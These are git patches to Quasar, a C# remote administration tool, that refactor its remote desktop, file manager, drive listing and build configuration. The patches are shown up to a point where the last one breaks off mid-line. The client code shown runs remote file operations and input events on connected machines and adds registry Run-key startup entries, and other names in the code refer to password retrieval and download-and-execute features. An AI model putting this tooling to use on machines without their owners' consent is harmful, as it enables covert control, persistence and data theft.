btnShow.Visible = false; - btnHide.Visible = true; + if (_enableKeyboardInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnKeyboard.Image = Properties.Resources.keyboard_delete; + toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); + _enableKeyboardInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnKeyboard.Image = Properties.Resources.keyboard_add; + toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); + _enableKeyboardInput = true; + } + this.ActiveControl = picDesktop; } + + #endregion + + private void btnHide_Click(object sender, EventArgs e) + { + TogglePanelVisibility(false); + } + + private void btnShow_Click(object sender, EventArgs e) + { + TogglePanelVisibility(true); + } } -} \ No newline at end of file +} diff --git a/Server/Server.csproj b/Server/Server.csproj index c3a739f98..dac3ea58f 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -66,8 +66,8 @@ ..\packages\Mono.Nat.1.2.24.0\lib\net40\Mono.Nat.dll - - ..\packages\protobuf-net.2.3.17\lib\net40\protobuf-net.dll + + ..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll ..\packages\Vestris.ResourceLib.2.0.0\lib\net40\ResourceLib.dll @@ -112,6 +112,7 @@ + diff --git a/Server/packages.config b/Server/packages.config index e77de5e39..994bbf755 100644 --- a/Server/packages.config +++ b/Server/packages.config @@ -4,6 +4,6 @@ - + \ No newline at end of file From 363cdbcafe3e7a174705894d808d752d593fa5ee Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 8 Sep 2018 09:41:59 +0200 Subject: [PATCH 112/229] Update AppVeyor configuration --- README.md | 2 +- appveyor.yml | 9 +++++++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4b158c06d..f5d0cea4c 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,7 @@ Quasar is a fast and light-weight remote administration tool coded in C#. Provid * Windows 10 ## Compiling -Open the project in Visual Studio 2015+ and click build. See below which build configuration to choose. +Open the project in Visual Studio 2017+ and click build. See below which build configuration to choose. ## Building a client | Build configuration | Usage scenario | Description diff --git a/appveyor.yml b/appveyor.yml index 9a11f17fc..d484f57de 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -1,15 +1,20 @@ version: BUILD{build} -skip_tags: true + +image: Visual Studio 2017 +shallow_clone: true + configuration: - Debug - Release -shallow_clone: true + before_build: - nuget restore + build: project: QuasarRAT.sln parallel: true verbosity: minimal + artifacts: - path: Bin name: binaries \ No newline at end of file From 68c833b9f3d994fc52d784561d3d45f53ce17416 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 8 Sep 2018 15:11:31 +0200 Subject: [PATCH 113/229] Add more comments to remote desktop message processor and simplify disconnect handling --- Client/Core/Commands/SurveillanceHandler.cs | 1 + Quasar.Common/Messages/ICommandExecutor.cs | 1 - Quasar.Common/Messages/MessageHandler.cs | 61 +---------------- .../Messages/MessageProcessorBase.cs | 50 +++++++------- ...er.cs => RemoteDesktopMessageProcessor.cs} | 60 +++++++++++++++-- Server/Core/Networking/QuasarServer.cs | 1 - Server/Forms/FrmMain.cs | 7 +- Server/Forms/FrmRemoteDesktop.cs | 66 ++++++++++++------- Server/Server.csproj | 2 +- 9 files changed, 127 insertions(+), 122 deletions(-) rename Server/Core/Commands/{RemoteDesktopHandler.cs => RemoteDesktopMessageProcessor.cs} (67%) diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index ba1b28ebd..e069d750d 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -46,6 +46,7 @@ public static void HandleGetPasswords(GetPasswords packet, Client client) public static void HandleGetDesktop(GetDesktop command, Client client) { + // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex)); var resolution = new Resolution {Height = monitorBounds.Height, Width = monitorBounds.Width}; diff --git a/Quasar.Common/Messages/ICommandExecutor.cs b/Quasar.Common/Messages/ICommandExecutor.cs index 94ab172bb..cd5fca0c1 100644 --- a/Quasar.Common/Messages/ICommandExecutor.cs +++ b/Quasar.Common/Messages/ICommandExecutor.cs @@ -7,6 +7,5 @@ public interface IMessageProcessor bool CanExecute(IMessage message); bool CanExecuteFrom(ISender sender); void Execute(ISender sender, IMessage message); - void NotifyDisconnect(ISender sender); } } diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index 0f2ed0cbc..7d469a551 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -1,58 +1,9 @@ -using System.Collections.Concurrent; -using System.Collections.Generic; +using Quasar.Common.Networking; +using System.Collections.Concurrent; using System.Linq; -using Quasar.Common.Networking; namespace Quasar.Common.Messages { - //public class ShutdownResponse : IMessage - //{ - // public int Id { get; set; } - //} - - //public class RestartResponse : IMessage - //{ - // public int Id { get; set; } - //} - - //public class SystemActions : AbstractMessageProcessor - //{ - // public void Execute(ISender sender, RestartResponse message) - // { - // OnReportProgress("RestartResponse"); - // Console.WriteLine(message.Id); - // } - - // public void Execute(ISender sender, ShutdownResponse message) - // { - // OnReportProgress("ShutdownResponse"); - // Console.WriteLine(message.Id); - // } - - // public override bool CanExecute(IMessage message) => message is RestartResponse || message is ShutdownResponse; - - // /// - // /// Checks whether this message processor can process messages from a specific sender. - // /// - // /// - // /// - // public override bool CanExecuteFrom(ISender sender) => true; - - // public override void Execute(ISender sender, IMessage message) - // { - // Console.WriteLine("Generic"); - // switch (message) - // { - // case ShutdownResponse s: - // Execute(sender, s); - // break; - // case RestartResponse r: - // Execute(sender, r); - // break; - // } - // } - //} - public static class MessageHandler { private static readonly ConcurrentBag Processors = new ConcurrentBag(); @@ -76,13 +27,5 @@ public static void Process(ISender sender, IMessage cmd) foreach (var executor in availableExecutors) executor.Execute(sender, cmd); } - - public static void NotifyDisconnect(ISender sender) - { - foreach (var cmd in Processors) - { - cmd.NotifyDisconnect(sender); - } - } } } diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs index 2dbc2e198..b2cb6fe0b 100644 --- a/Quasar.Common/Messages/MessageProcessorBase.cs +++ b/Quasar.Common/Messages/MessageProcessorBase.cs @@ -25,8 +25,6 @@ public abstract class MessageProcessorBase : IMessageProcessor, IProgress, /// private readonly SendOrPostCallback _invokeReportProgressHandlers; - private readonly SendOrPostCallback _invokeClientDisconnectedHandlers; - /// /// Represents the method that will handle progress updates. /// @@ -59,21 +57,6 @@ protected virtual void OnReport(T value) } } - public delegate void ClientDisconnectedEventHandler(object sender, ISender client); - public event ClientDisconnectedEventHandler ClientDisconnected; - - protected virtual void OnClientDisconnected(ISender client) - { - // If there's no handler, don't bother going through the sync context. - // Inside the callback, we'll need to check again, in case - // an event handler is removed between now and then. - var handler = ProgressChanged; - if (handler != null) - { - SynchronizationContext.Post(_invokeClientDisconnectedHandlers, client); - } - } - /// /// Initializes the /// @@ -84,12 +67,11 @@ protected virtual void OnClientDisconnected(ISender client) protected MessageProcessorBase(bool useCurrentContext) { _invokeReportProgressHandlers = InvokeReportProgressHandlers; - _invokeClientDisconnectedHandlers = InvokeClientDisconnectedHandlers; SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; } /// - /// Invokes the action and event callbacks. + /// Invokes the progress event callbacks. /// /// The progress value. private void InvokeReportProgressHandlers(object state) @@ -98,24 +80,38 @@ private void InvokeReportProgressHandlers(object state) handler?.Invoke(this, (T)state); } - private void InvokeClientDisconnectedHandlers(object state) - { - var handler = ClientDisconnected; - handler?.Invoke(this, (ISender)state); - } - + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } - public virtual void NotifyDisconnect(ISender sender) => OnClientDisconnected(sender); - void IProgress.Report(T value) => OnReport(value); + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. public abstract bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. public abstract bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. public abstract void Execute(ISender sender, IMessage message); + protected abstract void Dispose(bool disposing); + void IProgress.Report(T value) => OnReport(value); } /// diff --git a/Server/Core/Commands/RemoteDesktopHandler.cs b/Server/Core/Commands/RemoteDesktopMessageProcessor.cs similarity index 67% rename from Server/Core/Commands/RemoteDesktopHandler.cs rename to Server/Core/Commands/RemoteDesktopMessageProcessor.cs index 7de9c8f6a..a8cb5457a 100644 --- a/Server/Core/Commands/RemoteDesktopHandler.cs +++ b/Server/Core/Commands/RemoteDesktopMessageProcessor.cs @@ -8,20 +8,34 @@ namespace xServer.Core.Commands { - // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis - public class RemoteDesktopHandler : MessageProcessorBase + public class RemoteDesktopMessageProcessor : MessageProcessorBase { /// /// States if the client is currently streaming desktop frames. /// public bool IsStarted { get; set; } + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// private readonly object _syncLock = new object(); + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// private readonly object _sizeLock = new object(); + /// + /// The local resolution, see . + /// private Size _localResolution; + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + /// + /// This property is thread-safe. + /// public Size LocalResolution { get @@ -71,18 +85,32 @@ protected virtual void OnDisplaysChanged(int value) }, value); } + /// + /// The client which is associated with this remote desktop message processor. + /// private readonly Client _client; + + /// + /// The video stream codec used to decode received frames. + /// private UnsafeStreamCodec _codec; - public RemoteDesktopHandler(Client client) : base(true) + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteDesktopMessageProcessor(Client client) : base(true) { _client = client; } + /// public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + /// public override void Execute(ISender sender, IMessage message) { switch (message) @@ -96,6 +124,11 @@ public override void Execute(ISender sender, IMessage message) } } + /// + /// Begins receiving frames from the client using the specified quality and display. + /// + /// The quality of the remote desktop frames. + /// The display to receive frames from. public void BeginReceiveFrames(int quality, int display) { lock (_syncLock) @@ -107,6 +140,9 @@ public void BeginReceiveFrames(int quality, int display) } } + /// + /// Ends receiving frames from the client. + /// public void EndReceiveFrames() { lock (_syncLock) @@ -115,11 +151,22 @@ public void EndReceiveFrames() } } + /// + /// Refreshes the available displays of the client. + /// public void RefreshDisplays() { _client.Send(new GetMonitors()); } + /// + /// Sends a mouse event to the specified display of the client. + /// + /// The mouse action to send. + /// Indicates whether it's a mousedown or mouseup event. + /// The X-coordinate inside the . + /// The Y-coordinate inside the . + /// The display to execute the mouse event on. public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) { lock (_syncLock) @@ -136,6 +183,11 @@ public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int } } + /// + /// Sends a keyboard event to the client. + /// + /// The pressed key. + /// Indicates whether it's a keydown or keyup event. public void SendKeyboardEvent(byte keyCode, bool keyDown) { _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); @@ -175,14 +227,12 @@ protected override void Dispose(bool disposing) { if (disposing) { - // get rid of managed resources lock (_syncLock) { _codec?.Dispose(); IsStarted = false; } } - // get rid of unmanaged resources } } } diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index b2e041c07..5d8fdcc5c 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -89,7 +89,6 @@ private void OnClientState(Server server, Client client, bool connected) case false: if (client.Authenticated) { - MessageHandler.NotifyDisconnect(client); // TODO: check OnClientDisconnected(client); } break; diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index a8129918e..a2b845813 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -702,10 +702,9 @@ private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - // TODO: Don't allow opening multiple forms for single client - FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c); - frmRDP.Show(); - frmRDP.Focus(); + var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c); + frmRd.Show(); + frmRd.Focus(); } } private void remoteWebcamToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index b4585e819..f725d437a 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -1,7 +1,6 @@ using Gma.System.MouseKeyHook; using Quasar.Common.Enums; using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Collections.Generic; using System.Drawing; @@ -48,24 +47,40 @@ public partial class FrmRemoteDesktop : Form /// /// The message handler for handling the communication with the client. /// - private readonly RemoteDesktopHandler _remoteDesktopHandler; - - //private static Dictionary openForms = new Dictionary(); - //public static FrmRemoteDesktop CreateNewOrGetExisting(Client c) - //{ - // if (openForms.ContainsKey(c)) - // { - // return openForms[c]; - // } - // FrmRemoteDesktop r = new FrmRemoteDesktop(c); - // openForms.Add(c, r); - // return r; - //} - - public FrmRemoteDesktop(Client c) + private readonly RemoteDesktopMessageProcessor _remoteDesktopHandler; + + /// + /// Holds the opened remote desktop form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote desktop form. + /// + /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteDesktop r = new FrmRemoteDesktop(client); + r.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, r); + return r; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmRemoteDesktop(Client client) { - _connectClient = c; - _remoteDesktopHandler = new RemoteDesktopHandler(c); + _connectClient = client; + _remoteDesktopHandler = new RemoteDesktopMessageProcessor(client); _keysPressed = new List(); RegisterMessageHandler(); @@ -75,11 +90,14 @@ public FrmRemoteDesktop(Client c) /// /// Called whenever a client disconnects. /// - /// The message handler which raised the event. - /// The client which disconnects. - private void ClientDisconnected(object sender, ISender client) + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) { - this.Close(); + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } } /// @@ -87,9 +105,9 @@ private void ClientDisconnected(object sender, ISender client) /// private void RegisterMessageHandler() { + _connectClient.ClientState += ClientDisconnected; _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; _remoteDesktopHandler.ProgressChanged += UpdateImage; - _remoteDesktopHandler.ClientDisconnected += ClientDisconnected; MessageHandler.Register(_remoteDesktopHandler); } @@ -101,7 +119,7 @@ private void UnregisterMessageHandler() MessageHandler.Unregister(_remoteDesktopHandler); _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; _remoteDesktopHandler.ProgressChanged -= UpdateImage; - _remoteDesktopHandler.ClientDisconnected -= ClientDisconnected; + _connectClient.ClientState -= ClientDisconnected; } /// diff --git a/Server/Server.csproj b/Server/Server.csproj index dac3ea58f..4decdccf1 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -112,7 +112,7 @@ - + From 575ef435774d31a75ebac23659a9dd76ace3f599 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 13 Sep 2018 15:34:03 +0200 Subject: [PATCH 114/229] Refactor File Manager --- Client.Tests/Properties/AssemblyInfo.cs | 10 +- Client/Core/Commands/FileHandler.cs | 56 +- Client/Core/Commands/RegistryHandler.cs | 4 +- Client/Core/Commands/SystemHandler.cs | 59 +- Client/Core/Helper/FileHelper.cs | 63 +- Client/Core/Helper/RegistryKeyHelper.cs | 2 +- Client/Core/Networking/Client.cs | 2 +- Client/Core/Networking/QuasarClient.cs | 7 +- Client/Core/Registry/RegistryEditor.cs | 2 +- Client/Core/Registry/RegistrySeeker.cs | 2 +- Client/Properties/AssemblyInfo.cs | 6 +- Quasar.Common/Enums/ContentType.cs | 16 + .../Enums/{PathType.cs => FileType.cs} | 2 +- .../Messages/DoChangeRegistryValue.cs | 2 +- Quasar.Common/Messages/DoPathDelete.cs | 2 +- Quasar.Common/Messages/DoPathRename.cs | 2 +- Quasar.Common/Messages/DoStartupItemAdd.cs | 9 +- .../GetChangeRegistryValueResponse.cs | 2 +- .../Messages/GetCreateRegistryKeyResponse.cs | 2 +- .../GetCreateRegistryValueResponse.cs | 2 +- .../Messages/GetDirectoryResponse.cs | 8 +- Quasar.Common/Messages/GetDrivesResponse.cs | 6 +- .../Messages/GetRegistryKeysResponse.cs | 2 +- Quasar.Common/Messages/MessageHandler.cs | 38 +- .../{PacketRegistery.cs => PacketRegistry.cs} | 2 +- Quasar.Common/Models/Drive.cs | 14 + Quasar.Common/Models/FileSystemEntry.cs | 25 + .../{Registry => Models}/RegSeekerMatch.cs | 2 +- .../{Registry => Models}/RegValueData.cs | 2 +- Quasar.Common/Models/StartupItem.cs | 18 + Quasar.Common/Properties/AssemblyInfo.cs | 10 +- Quasar.Common/Quasar.Common.csproj | 14 +- Quasar.Common/Utilities/SafeRandom.cs | 54 ++ Server.Tests/Properties/AssemblyInfo.cs | 10 +- Server/Controls/ListViewEx.cs | 3 +- Server/Controls/RegistryValueLstItem.cs | 2 +- Server/Core/Build/Renamer.cs | 6 +- Server/Core/Commands/CommandHandler.cs | 6 +- Server/Core/Commands/FileManagerHandler.cs | 356 +++++++++ Server/Core/Commands/MiscHandler.cs | 98 +-- ...geProcessor.cs => RemoteDesktopHandler.cs} | 10 +- Server/Core/Commands/SurveillanceHandler.cs | 2 +- Server/Core/Commands/SystemHandler.cs | 79 +- Server/Core/Data/AutostartItem.cs | 9 - Server/Core/Data/DownloadAndExecute.cs | 8 - Server/Core/Data/Messagebox.cs | 10 - Server/Core/Data/RecoveredAccount.cs | 2 +- Server/Core/Data/RemoteDrive.cs | 15 - Server/Core/Data/Update.cs | 9 - Server/Core/Data/UploadAndExecute.cs | 8 - Server/Core/Data/VisitWebsite.cs | 8 - Server/Core/Helper/FileHelper.cs | 68 +- Server/Core/Networking/PacketHandler.cs | 17 - Server/Core/Networking/Server.cs | 2 +- Server/Core/Networking/UserState.cs | 35 +- Server/Enums/TransferType.cs | 8 + Server/Forms/FrmAddToAutostart.cs | 11 +- Server/Forms/FrmDownloadAndExecute.cs | 11 +- Server/Forms/FrmFileManager.cs | 675 +++++++----------- Server/Forms/FrmMain.cs | 45 +- Server/Forms/FrmPasswordRecovery.cs | 8 +- Server/Forms/FrmRegValueEditBinary.cs | 2 +- Server/Forms/FrmRegValueEditMultiString.cs | 4 +- Server/Forms/FrmRegValueEditString.cs | 4 +- Server/Forms/FrmRegValueEditWord.cs | 2 +- Server/Forms/FrmRegistryEditor.cs | 2 +- Server/Forms/FrmRemoteDesktop.cs | 5 +- Server/Forms/FrmShowMessagebox.cs | 15 +- Server/Forms/FrmStartupManager.cs | 14 +- Server/Forms/FrmUpdate.cs | 14 +- Server/Forms/FrmUploadAndExecute.cs | 10 +- Server/Forms/FrmVisitWebsite.cs | 11 +- Server/Models/FileTransfer.cs | 48 ++ Server/Properties/AssemblyInfo.cs | 4 +- Server/Server.csproj | 15 +- 75 files changed, 1096 insertions(+), 1022 deletions(-) create mode 100644 Quasar.Common/Enums/ContentType.cs rename Quasar.Common/Enums/{PathType.cs => FileType.cs} (79%) rename Quasar.Common/Messages/{PacketRegistery.cs => PacketRegistry.cs} (99%) create mode 100644 Quasar.Common/Models/Drive.cs create mode 100644 Quasar.Common/Models/FileSystemEntry.cs rename Quasar.Common/{Registry => Models}/RegSeekerMatch.cs (92%) rename Quasar.Common/{Registry => Models}/RegValueData.cs (93%) create mode 100644 Quasar.Common/Models/StartupItem.cs create mode 100644 Quasar.Common/Utilities/SafeRandom.cs create mode 100644 Server/Core/Commands/FileManagerHandler.cs rename Server/Core/Commands/{RemoteDesktopMessageProcessor.cs => RemoteDesktopHandler.cs} (96%) delete mode 100644 Server/Core/Data/AutostartItem.cs delete mode 100644 Server/Core/Data/DownloadAndExecute.cs delete mode 100644 Server/Core/Data/Messagebox.cs delete mode 100644 Server/Core/Data/RemoteDrive.cs delete mode 100644 Server/Core/Data/Update.cs delete mode 100644 Server/Core/Data/UploadAndExecute.cs delete mode 100644 Server/Core/Data/VisitWebsite.cs create mode 100644 Server/Enums/TransferType.cs create mode 100644 Server/Models/FileTransfer.cs diff --git a/Client.Tests/Properties/AssemblyInfo.cs b/Client.Tests/Properties/AssemblyInfo.cs index e6266715d..2f4536fd7 100644 --- a/Client.Tests/Properties/AssemblyInfo.cs +++ b/Client.Tests/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über folgende // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("ClientTests")] +[assembly: AssemblyTitle("Quasar Client Tests")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ClientTests")] -[assembly: AssemblyCopyright("Copyright © 2016")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -32,5 +32,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // durch Einsatz von '*', wie in nachfolgendem Beispiel: // [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.3.0.0")] +[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Client/Core/Commands/FileHandler.cs b/Client/Core/Commands/FileHandler.cs index 5f20217b6..401c1db69 100644 --- a/Client/Core/Commands/FileHandler.cs +++ b/Client/Core/Commands/FileHandler.cs @@ -4,6 +4,8 @@ using System.Threading; using Quasar.Common.Enums; using Quasar.Common.Messages; +using Quasar.Common.Models; +using xClient.Core.Helper; using xClient.Core.Networking; using xClient.Core.Utilities; @@ -27,36 +29,32 @@ public static void HandleGetDirectory(GetDirectory command, Client client) { DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); - FileInfo[] iFiles = dicInfo.GetFiles(); - DirectoryInfo[] iFolders = dicInfo.GetDirectories(); + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); - string[] files = new string[iFiles.Length]; - long[] filessize = new long[iFiles.Length]; - string[] folders = new string[iFolders.Length]; + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; - int i = 0; - foreach (FileInfo file in iFiles) + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) { - files[i] = file.Name; - filessize[i] = file.Length; - i++; - } - if (files.Length == 0) - { - files = new string[] {DELIMITER}; - filessize = new long[] {0}; + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, Name = directories[i].Name, Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; } - i = 0; - foreach (DirectoryInfo folder in iFolders) + for (int i = 0; i < files.Length; i++) { - folders[i] = folder.Name; - i++; + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, Name = files[i].Name, Size = files[i].Length, + ContentType = FileHelper.GetContentType(Path.GetExtension(files[i].Name)), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; } - if (folders.Length == 0) - folders = new string[] {DELIMITER}; - client.Send(new GetDirectoryResponse {Files = files, Folders = folders, FilesSize = filessize}); + client.Send(new GetDirectoryResponse {RemotePath = command.RemotePath, Items = items}); } catch (UnauthorizedAccessException) { @@ -161,7 +159,7 @@ public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Clie public static void HandleDoUploadFile(DoUploadFile command, Client client) { - if (command.CurrentBlock == 0 && File.Exists(command.RemotePath)) + if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath)) NativeMethods.DeleteFile(command.RemotePath); // delete existing file FileSplit destFile = new FileSplit(command.RemotePath); @@ -183,7 +181,7 @@ public static void HandleDoPathDelete(DoPathDelete command, Client client) { switch (command.PathType) { - case PathType.Directory: + case FileType.Directory: Directory.Delete(command.Path, true); client.Send(new SetStatusFileManager { @@ -191,8 +189,8 @@ public static void HandleDoPathDelete(DoPathDelete command, Client client) SetLastDirectorySeen = false }); break; - case PathType.File: - File.Delete(command.Path); + case FileType.File: + System.IO.File.Delete(command.Path); client.Send(new SetStatusFileManager { Message = "Deleted file", @@ -245,7 +243,7 @@ public static void HandleDoPathRename(DoPathRename command, Client client) { switch (command.PathType) { - case PathType.Directory: + case FileType.Directory: Directory.Move(command.Path, command.NewPath); client.Send(new SetStatusFileManager { @@ -253,8 +251,8 @@ public static void HandleDoPathRename(DoPathRename command, Client client) SetLastDirectorySeen = false }); break; - case PathType.File: - File.Move(command.Path, command.NewPath); + case FileType.File: + System.IO.File.Move(command.Path, command.NewPath); client.Send(new SetStatusFileManager { Message = "Renamed file", diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 382f1fbaa..e80967919 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -1,6 +1,6 @@ -using Quasar.Common.Registry; -using System; +using System; using Quasar.Common.Messages; +using Quasar.Common.Models; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index b9774ddef..c2a724df6 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -8,12 +8,14 @@ using Microsoft.Win32; using Quasar.Common.Enums; using Quasar.Common.Messages; +using Quasar.Common.Models; using xClient.Config; using xClient.Core.Data; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; using xClient.Core.Utilities; +using File = System.IO.File; namespace xClient.Core.Commands { @@ -22,10 +24,10 @@ public static partial class CommandHandler { public static void HandleGetDrives(GetDrives command, Client client) { - DriveInfo[] drives; + DriveInfo[] driveInfos; try { - drives = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); } catch (IOException) { @@ -38,39 +40,34 @@ public static void HandleGetDrives(GetDrives command, Client client) return; } - if (drives.Length == 0) + if (driveInfos.Length == 0) { client.Send(new SetStatusFileManager {Message = "GetDrives No drives", SetLastDirectorySeen = false}); return; } - string[] displayName = new string[drives.Length]; - string[] rootDirectory = new string[drives.Length]; + Drive[] drives = new Drive[driveInfos.Length]; for (int i = 0; i < drives.Length; i++) { - string volumeLabel = null; try { - volumeLabel = drives[i].VolumeLabel; + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + FormatHelper.DriveTypeName(driveInfos[i].DriveType), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + FormatHelper.DriveTypeName(driveInfos[i].DriveType), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; } - catch - { - } - - if (string.IsNullOrEmpty(volumeLabel)) + catch (Exception) { - displayName[i] = string.Format("{0} [{1}, {2}]", drives[i].RootDirectory.FullName, - FormatHelper.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); + } - else - { - displayName[i] = string.Format("{0} ({1}) [{2}, {3}]", drives[i].RootDirectory.FullName, volumeLabel, - FormatHelper.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); - } - rootDirectory[i] = drives[i].RootDirectory.FullName; } - client.Send(new GetDrivesResponse {DriveDisplayName = displayName, RootDirectory = rootDirectory}); + client.Send(new GetDrivesResponse {Drives = drives}); } public static void HandleDoShutdownAction(DoShutdownAction command, Client client) @@ -177,32 +174,32 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien { try { - switch (command.Type) + switch (command.StartupItem.Type) { case 0: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case 1: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case 2: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - 